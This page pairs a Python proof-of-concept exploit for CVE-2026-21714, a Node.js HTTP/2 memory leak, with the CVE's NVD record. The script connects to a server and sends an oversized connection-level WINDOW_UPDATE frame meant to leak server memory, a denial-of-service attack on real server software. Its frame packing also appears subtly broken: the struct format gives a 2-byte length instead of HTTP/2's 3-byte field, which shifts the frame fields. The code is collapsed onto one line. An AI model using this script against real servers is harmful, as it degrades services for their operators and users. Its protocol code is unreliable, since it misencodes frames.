CVE-2026-21714

import socket import struct # Target Node.js HTTP/2 Server HOST = '127.0.0.1' PORT = 8080 # HTTP/2 Connection Preface preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' # Settings Frame (Empty ACK to establish connection) # Length: 0, Type: 4 (SETTINGS), Flags: 1 (ACK), Stream: 0 settings_ack = struct.pack('>HBBBL', 0, 4, 1, 0, 0) # WINDOW_UPDATE Frame on Stream 0 # Increment value that pushes window > 2^31 - 1 # Length: 4, Type: 8 (WINDOW_UPDATE), Flags: 0, Stream: 0 window_increment = 2**31 window_update_frame = struct.pack('>HBBBLI', 4, 8, 0, 0, window_increment) def send_exploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(preface) s.send(settings_ack) # Send malicious WINDOW_UPDATE to trigger leak s.send(window_update_frame) print("[+] Malicious WINDOW_UPDATE sent. Check server memory usage.") s.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-21714", "sourceIdentifier": "[email protected]", "published": "2026-03-30T20:16:19.573", "lastModified": "2026-04-01T14:24:21.833", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory leak occurs in Node.js HTTP/2 servers when a client sends WINDOW_UPDATE frames on stream 0 (connection-level) that cause the flow control window to exceed the maximum value of 2³¹-1. The server correctly sends a GOAWAY frame, but the Http2Session object is never cleaned up.\r\n\r\nThis vulnerability affects HTTP2 users on Node.js 20, 22, 24 and 25."}, {"lang": "es", "value": "Se produce una fuga de memoria en servidores HTTP/2 de Node.js cuando un cliente envía tramas WINDOW_UPDATE en el flujo 0 (a nivel de conexión) que hacen que la ventana de control de flujo exceda el valor máximo de 2³¹-1. El servidor envía correctamente una trama GOAWAY, pero el objeto Http2Session nunca se limpia.\n\nEsta vulnerabilidad afecta a los usuarios de HTTP2 en Node.js 20, 22, 24 y 25."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/march-2026-security-releases", "source": "[email protected]"}]}}